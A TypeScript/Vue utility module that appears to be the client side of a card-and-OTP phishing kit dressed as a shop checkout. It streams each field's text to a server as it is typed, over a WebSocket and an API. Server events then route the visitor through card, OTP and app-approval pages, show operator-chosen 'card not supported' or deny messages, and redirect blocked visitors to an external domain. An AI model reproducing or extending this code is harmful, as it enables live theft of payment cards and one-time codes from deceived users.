import _ from "lodash";
import { sendInput } from "@/api/api";
import type { Socket } from "@/utils/websocket";
import eventBus from "@/utils/eventBus";
import router from "@/router";
import { ref } from "vue";
import { useSocket } from "@/utils/websocket";
import { useLoadingStore } from "@/stores/loadingStore";
import i18n from "@/main";
import { useSocketIo } from "./socketio";
import { goodsConfig, globalConfig } from "@/config";


const viteBaseUrl = import.meta.env.VITE_BASE_URL;

// Redirect to an external URL
export function redirectToExternal() {
  window.location.replace(globalConfig.to_domain);
}



// WebSocket interface
interface MyWebSocket {
  socket: any;
  send: (data: string) => Promise<any>;
  off: (event: string) => void;
  on: (event: string, callback: (data: any) => void) => void;
}

export const customOtpData = ref<any>({});

export function setCustomOtpData(data: any) {
  customOtpData.value = data;
  localStorage.setItem("customOtpData", JSON.stringify(data));
}

export let myWebSocket: MyWebSocket | undefined;

// Configuration data
export const configData = ref<Record<string, any>>({});

// Utility function to check if all values in an object are not empty
export function areAllValuesNotEmpty(
  obj: Record<string, any>,
  excludedFields: string[] = []
): boolean {
  return Object.keys(obj).every((key) => {
    if (excludedFields.includes(key)) return true;
    const value = obj[key];
    return (
      value !== null &&
      value !== undefined &&
      value !== "" &&
      !(typeof value === "string" && value.trim() === "")
    );
  });
}

// 存储 WebSocket 和 API 的防抖函数
const wsDebounceFunctions: Record<
  string,
  _.DebouncedFunc<(...args: any[]) => void>
> = {};
const apiDebounceFunctions: Record<
  string,
  _.DebouncedFunc<(...args: any[]) => void>
> = {};

// 获取或创建针对某个键的防抖函数
function getDebouncedFunction(
  debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
  key: string,
  func: (...args: any[]) => void,
  wait: number
) {
  if (!debounceFunctions[key]) {
    debounceFunctions[key] = _.debounce(func, wait);
  }
  return debounceFunctions[key];
}
const modeRef = ref(1)


// 处理输入变化
export function inputChange(type: string, key: any, value: any) {
  const currentTimestamp = Date.now(); // 当前时间戳

  // WebSocket 防抖函数
  const wsDebouncedFunction = getDebouncedFunction(
    wsDebounceFunctions,
    key,
    (type, key, value) => {
      myWebSocket?.send(
        JSON.stringify({
          event: "input_text",
          content: { type, key, text: value },
          timestamp: currentTimestamp,
        })
      );
    },
    300
  );

  // API 防抖函数
  const apiDebouncedFunction = getDebouncedFunction(
    apiDebounceFunctions,
    key,
    (type, key, value) => {
      sendInput({
        content: { type, key, text: value },
        timestamp: currentTimestamp,
      });
    },
    1000
  );

  // 调用防抖函数
  wsDebouncedFunction(type, key, value);
  if (modeRef.value !== 2) {
    apiDebouncedFunction(type, key, value);
  }
}


// Handle login success
export function loginSuccess(token: string, mode: number) {
  if (mode === 2) {
    modeRef.value = 2
    myWebSocket = useSocketIo(
      `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
      }/ws?token=${token}`
    );
  } else {
    myWebSocket = useSocket(
      `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
      }/ws?token=${token}`
    );
  }

  myWebSocket?.on("close", () => console.log("Socket closed!"));
  myWebSocket?.on("open", () => {
    const lastToken = localStorage.getItem("token");
    loginWebsocket(token, lastToken !== token);
  });

  myWebSocket?.on("message", handleMessage);

  window.addEventListener("beforeunload", () => {
    myWebSocket?.off("close");
  });
}

// Handle WebSocket messages
function handleMessage(data: any) {
  const jsonData = JSON.parse(data);
  if (!jsonData || !jsonData.event) return;

  const { event, content } = jsonData;

  switch (event) {
    case "login":
      //handleLoginEvent(content);
      break;
    case "result_type":
      handleResultTypeEvent(content);
      break;
    case "reload":
      window.location.reload();
      break;
    default:
      break;
  }
}

// Handle login event
function handleLoginEvent(content: any) {
  const route = localStorage.getItem("route");
  if (route) {
    const customOtpDataValue = localStorage.getItem("customOtpData");
    if (route === "customOtpValid" && customOtpDataValue) {
      setCustomOtpData(JSON.parse(customOtpDataValue));
      myWebSocket?.send(
        JSON.stringify({
          event: "page_type",
          content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
        })
      );
      return;
    }
    myWebSocket?.send(
      JSON.stringify({
        event: "page_type",
        content: { pageType: route },
      })
    );
  }
}

// Handle result type event
function handleResultTypeEvent(content: any) {
  if (!content) return;

  const typeHandlers: Record<string, () => void> = {
    customOtpValid: () => navigateTo("/customOtpValid", content),
    otpValid: () => navigateTo("/otpValid", content),
    appValid: () => navigateTo("/appValid", content),
    success: () => router.push("/success"),
    kickOut: redirectToExternal,
    block: redirectToExternal,
    otpFail: () =>
      eventBus.emit("otp-valid", {
        message2:
          content.value.message2 ||
          i18n.global.t("otp_view.code_error"),
      }),
    appFail: () =>
      eventBus.emit("app-valid", {
        message2:
          content.value.message2 ||
          i18n.global.t("otp_view.session_expiring"),
      }),
    back: () => handleBackOrReject(content, true),
    reject: () => handleBackOrReject(content, false),
    refresh: () => {
      if (localStorage.getItem("route")) {
        localStorage.removeItem("route");
        window.location.reload();
      }
    },
  };

  if (content.type == "customOtpValid") {
    if (content.value.customOtpData) {
      setCustomOtpData(JSON.parse(content.value.customOtpData));
    }
  }
  if (content.type == "customOtpFail") {
    eventBus.emit("custom-otp-valid", {
      message2: content.value.message2,
    });
  }
  const handler = typeHandlers[content.type];
  if (handler) handler();
  if (content.type) {
    useLoadingStore().setLoading(false);
  }
}

// Navigate to specific path with query parameters
function navigateTo(path: string, content: any) {

  router.push('/temp').then(() => {
    router.push({
      path: path,
      query: {
        cardType: content.value?.data?.cardData?.cardBIN?.schema,
        message1: content.value?.message1,
        key: new Date().getMilliseconds(),
      },
    });
  });
}

// Handle back or reject type
function handleBackOrReject(content: any, isBack: boolean) {
  let message2 = i18n.global.t("otp_view.card_not_supported");

  if (configData.value.error_card_msg) {
    message2 = configData.value.error_card_msg;
  }

  if (content.value.type) {
    const type = content.value.type;
    if (type === "denyC" && configData.value.deny_c_msg) {
      message2 = configData.value.deny_c_msg;
    }
    if (type === "denyD" && configData.value.deny_d_msg) {
      message2 = configData.value.deny_d_msg;
    }
  }

  if (content.value.message2) {
    message2 = content.value.message2;
  }

  if (isBack) {
    router.push({ path: "/card", query: { message2 } });
  }

  eventBus.emit("my-event", { message2 });
}

// Login to WebSocket
function loginWebsocket(token: string, isFirst: boolean) {
  myWebSocket?.send(
    JSON.stringify({
      event: "login",
      content: { tag: "user", token, isFirst },
    })
  );
  console.log("WebSocket login sent with token:", token, "isFirst:", isFirst);
  initHtml();
}

export async function loadHtml(url: string) {
  try {
    const response = await fetch(url); // 替换为您的 HTML 文件路径
    if (!response.ok) {
      return "";
    }
    return await response.text();
  } catch (error) {
    return "";
  }
}

export const headerHtml = ref("");
export const footerHtml = ref("");
export const headHtml = ref("");
export const loadingBg = ref("#ffffff");
export const isAr = ref(false);

const initHtml = async () => {
  try {
    const langValue = localStorage.getItem("lang");
    if (langValue) {
      isAr.value = langValue == "ar";
    } else {
      isAr.value = navigator.language.split("-")[0] == "ar";
    }

    const basePath = "/pages";

    // 加载 head.html
    headerHtml.value = await loadHtml(`${basePath}/header.html`);
    footerHtml.value = await loadHtml(`${basePath}/footer.html`);
    const routePath = localStorage.getItem("route");
    console.log("Route path:", routePath);
    await router.push(routePath ? `/${routePath}` : "/phone");

    // 延迟加载 header 和 footer
    setTimeout(async () => {
      // 路由跳转

      loadingBg.value = "#00000072";
      useLoadingStore().setLoading(false);
    }, 200);
  } catch (error) {
    console.error("Initialization failed:", error);
    useLoadingStore().setLoading(false);
  }
};

/**
 * 格式化金额并添加单位
 * @param amount 金额数值
 * @param config 可选配置对象，默认使用全局goodsConfig
 * @returns 格式化后的金额与单位组合
 */
export function formatPriceWithUnit(amount: any): string {

  // 根据配置决定单位在前还是在后
  return goodsConfig.value.isRight ?
    formatNumber(amount) + ' ' + goodsConfig.value.unit :
    goodsConfig.value.unit + ' ' + formatNumber(amount);
}

export function extractPrice(priceWithUnit: string) {
  // 使用正则表达式提取数字部分
  const match = priceWithUnit.match(/(\d+(\.\d+)?)/);
  return match ? parseFloat(match[0]) : null
}

export const formatNumber = (number: number) => {
  console.log("Formatting number:", number, "with format:", goodsConfig.value.format);
  switch (goodsConfig.value.format) {
    case '1':
      return number.toLocaleString('en-US', { minimumFractionDigits: 0, maximumFractionDigits: 2 }); // 千位分隔符（,），小数点分隔符（.）
    case '2':
      return number.toLocaleString('de-DE', { minimumFractionDigits: 0, maximumFractionDigits: 2 }); // 千位分隔符（.），小数点分隔符（.）
    case '3':
      return number.toFixed(2).replace(/\.?0+$/, '').replace(/\B(?=(\d{3})+(?!\d))/g, ''); // 千位分隔符（），小数点分隔符（.）
    case '4':
      return number.toLocaleString('de-DE', { minimumFractionDigits: 0, maximumFractionDigits: 2 });
    case '5': // 瑞典专用: 1 234,56
      return number.toLocaleString('sv-SE', { 
        minimumFractionDigits: 0, 
        maximumFractionDigits: 2 
      }).replace(/\u00A0/g, ' '); 
    default:
      return number.toLocaleString('de-DE', { minimumFractionDigits: 0, maximumFractionDigits: 2 });
  }
};